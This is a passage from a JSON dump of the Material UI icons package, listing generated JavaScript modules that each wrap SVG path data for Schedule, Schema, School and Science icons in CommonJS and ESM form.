7-1.65-1.65c-.09-.09-.15-.22-.15-.35v-2.5c0-.28.22-.5.5-.5s.5.22.5.5v2.29l1.5 1.5c.2.2.2.51 0 .71-.19.2-.5.2-.7 0\"\n}, \"1\")], 'ScheduleSendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L4.39 4.58C3.73 4.31 3 4.79 3 5.51v3.71c0 .46.31.86.76.97L11 12l-7.24 1.81c-.45.11-.76.51-.76.97v3.71c0 .72.73 1.2 1.39.92L10 17.05V17c0-3.86 3.14-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.29 7-1.65-1.65c-.09-.09-.15-.22-.15-.35v-2.5c0-.28.22-.5.5-.5s.5.22.5.5v2.29l1.5 1.5c.2.2.2.51 0 .71-.19.2-.5.2-.7 0\"\n}, \"1\")], 'ScheduleSendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.86 3.14-7 7-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"1\")], 'ScheduleSendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10c.1 0 .19.01.28.01L3 4v6l8 2-8 2v6l7-2.95V17c0-3.86 3.14-7 7-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"1\")], 'ScheduleSendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 10.5 6 1.5-6 1.5v3.49l5.39-2.27c.6-1.73 1.86-3.16 3.48-3.97L5 7.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.74c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"2\")], 'ScheduleSendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSendTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 10.5 6 1.5-6 1.5v3.49l5.39-2.27c.6-1.73 1.86-3.16 3.48-3.97L5 7.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 12-6-1.5V7.01l8.87 3.74c.94-.47 2-.75 3.13-.75.1 0 .19.01.28.01L3 4v16l7-2.95V17c0-.8.14-1.56.39-2.28L5 16.99V13.5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L16.5 17.2V14h1v2.79l1.85 1.85z\"\n}, \"2\")], 'ScheduleSendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'ScheduleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}), 'ScheduleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'ScheduleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScheduleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m4.25 12.15L11 13V7h1.5v5.25l4.5 2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m.5-13H11v6l5.25 3.15.75-1.23-4.5-2.67z\"\n}, \"1\")], 'ScheduleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Schema.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9z\"\n}), 'Schema');"
  },
  {
    "path": "packages/mui-icons-material/lib/Schema.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9z\"\n}), 'Schema');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9zM6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\"\n}), 'SchemaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9zM6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\"\n}), 'SchemaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10.5v.5h-3v-.5c0-.83-.67-1.5-1.5-1.5h-1V7h1c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-4C4.67 1 4 1.67 4 2.5v3C4 6.33 4.67 7 5.5 7h1v2h-1C4.67 9 4 9.67 4 10.5v3c0 .83.67 1.5 1.5 1.5h1v2h-1c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5h4c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-1v-2h1c.83 0 1.5-.67 1.5-1.5V13h3v.5c0 .83.67 1.5 1.5 1.5h4c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-4c-.83 0-1.5.67-1.5 1.5\"\n}), 'SchemaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10.5v.5h-3v-.5c0-.83-.67-1.5-1.5-1.5h-1V7h1c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-4C4.67 1 4 1.67 4 2.5v3C4 6.33 4.67 7 5.5 7h1v2h-1C4.67 9 4 9.67 4 10.5v3c0 .83.67 1.5 1.5 1.5h1v2h-1c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5h4c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-1v-2h1c.83 0 1.5-.67 1.5-1.5V13h3v.5c0 .83.67 1.5 1.5 1.5h4c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-4c-.83 0-1.5.67-1.5 1.5\"\n}), 'SchemaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9z\"\n}), 'SchemaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9z\"\n}), 'SchemaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9zM6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\"\n}, \"1\")], 'SchemaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchemaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9v2h-3V9H8.5V7H11V1H4v6h2.5v2H4v6h2.5v2H4v6h7v-6H8.5v-2H11v-2h3v2h7V9zM6 3h3v2H6zm3 18H6v-2h3zm0-8H6v-2h3zm10 0h-3v-2h3z\"\n}, \"1\")], 'SchemaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/School.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13.18v4L12 21l7-3.82v-4L12 17zM12 3 1 9l11 6 9-4.91V17h2V9z\"\n}), 'School');"
  },
  {
    "path": "packages/mui-icons-material/lib/School.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13.18v4L12 21l7-3.82v-4L12 17zM12 3 1 9l11 6 9-4.91V17h2V9z\"\n}), 'School');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 9l4 2.18v6L12 21l7-3.82v-6l2-1.09V17h2V9zm6.82 6L12 12.72 5.18 9 12 5.28zM17 15.99l-5 2.73-5-2.73v-3.72L12 15l5-2.73z\"\n}), 'SchoolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 9l4 2.18v6L12 21l7-3.82v-6l2-1.09V17h2V9zm6.82 6L12 12.72 5.18 9 12 5.28zM17 15.99l-5 2.73-5-2.73v-3.72L12 15l5-2.73z\"\n}), 'SchoolOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13.18v2.81c0 .73.4 1.41 1.04 1.76l5 2.73c.6.33 1.32.33 1.92 0l5-2.73c.64-.35 1.04-1.03 1.04-1.76v-2.81l-6.04 3.3c-.6.33-1.32.33-1.92 0zm6.04-9.66-8.43 4.6c-.69.38-.69 1.38 0 1.76l8.43 4.6c.6.33 1.32.33 1.92 0L21 10.09V16c0 .55.45 1 1 1s1-.45 1-1V9.59c0-.37-.2-.7-.52-.88l-9.52-5.19a2.04 2.04 0 0 0-1.92 0\"\n}), 'SchoolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13.18v2.81c0 .73.4 1.41 1.04 1.76l5 2.73c.6.33 1.32.33 1.92 0l5-2.73c.64-.35 1.04-1.03 1.04-1.76v-2.81l-6.04 3.3c-.6.33-1.32.33-1.92 0zm6.04-9.66-8.43 4.6c-.69.38-.69 1.38 0 1.76l8.43 4.6c.6.33 1.32.33 1.92 0L21 10.09V16c0 .55.45 1 1 1s1-.45 1-1V9.59c0-.37-.2-.7-.52-.88l-9.52-5.19a2.04 2.04 0 0 0-1.92 0\"\n}), 'SchoolRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13.18v4L12 21l7-3.82v-4L12 17zM12 3 1 9l11 6 9-4.91V17h2V9z\"\n}), 'SchoolSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13.18v4L12 21l7-3.82v-4L12 17zM12 3 1 9l11 6 9-4.91V17h2V9z\"\n}), 'SchoolSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 12.27v3.72l5 2.73 5-2.73v-3.72L12 15zM5.18 9 12 12.72 18.82 9 12 5.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 9l4 2.18v6L12 21l7-3.82v-6l2-1.09V17h2V9zm5 12.99-5 2.73-5-2.73v-3.72L12 15l5-2.73zm-5-3.27L5.18 9 12 5.28 18.82 9z\"\n}, \"1\")], 'SchoolTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SchoolTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 12.27v3.72l5 2.73 5-2.73v-3.72L12 15zM5.18 9 12 12.72 18.82 9 12 5.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 9l4 2.18v6L12 21l7-3.82v-6l2-1.09V17h2V9zm5 12.99-5 2.73-5-2.73v-3.72L12 15l5-2.73zm-5-3.27L5.18 9 12 5.28 18.82 9z\"\n}, \"1\")], 'SchoolTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Science.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 18.4 14 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H9.04c-.42 0-.65.48-.39.81L10 6.5v4.17L4.2 18.4c-.49.66-.02 1.6.8 1.6h14c.82 0 1.29-.94.8-1.6\"\n}), 'Science');"
  },
  {
    "path": "packages/mui-icons-material/lib/Science.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 18.4 14 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H9.04c-.42 0-.65.48-.39.81L10 6.5v4.17L4.2 18.4c-.49.66-.02 1.6.8 1.6h14c.82 0 1.29-.94.8-1.6\"\n}), 'Science');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 11.33 18 18H6l5-6.67V6h2m2.96-2H8.04c-.42 0-.65.48-.39.81L9 6.5v4.17L3.2 18.4c-.49.66-.02 1.6.8 1.6h16c.82 0 1.29-.94.8-1.6L15 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81\"\n}), 'ScienceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11.33 18 18H6l5-6.67V6h2m2.96-2H8.04c-.42 0-.65.48-.39.81L9 6.5v4.17L3.2 18.4c-.49.66-.02 1.6.8 1.6h16c.82 0 1.29-.94.8-1.6L15 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81\"\n}), 'ScienceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.54 17.73 15 11V5h1c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1h1v6l-5.54 6.73c-.32.39-.46.83-.46 1.27.01 1.03.82 2 2 2h14c1.19 0 2-.97 2-2 0-.44-.14-.88-.46-1.27\"\n}), 'ScienceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.54 17.73 15 11V5h1c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1h1v6l-5.54 6.73c-.32.39-.46.83-.46 1.27.01 1.03.82 2 2 2h14c1.19 0 2-.97 2-2 0-.44-.14-.88-.46-1.27\"\n}), 'ScienceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.8 18.4 14 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H9.04c-.42 0-.65.48-.39.81L10 6.5v4.17L4.2 18.4c-.49.66-.02 1.6.8 1.6h14c.82 0 1.29-.94.8-1.6\"\n}), 'ScienceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceSharp.mjs",
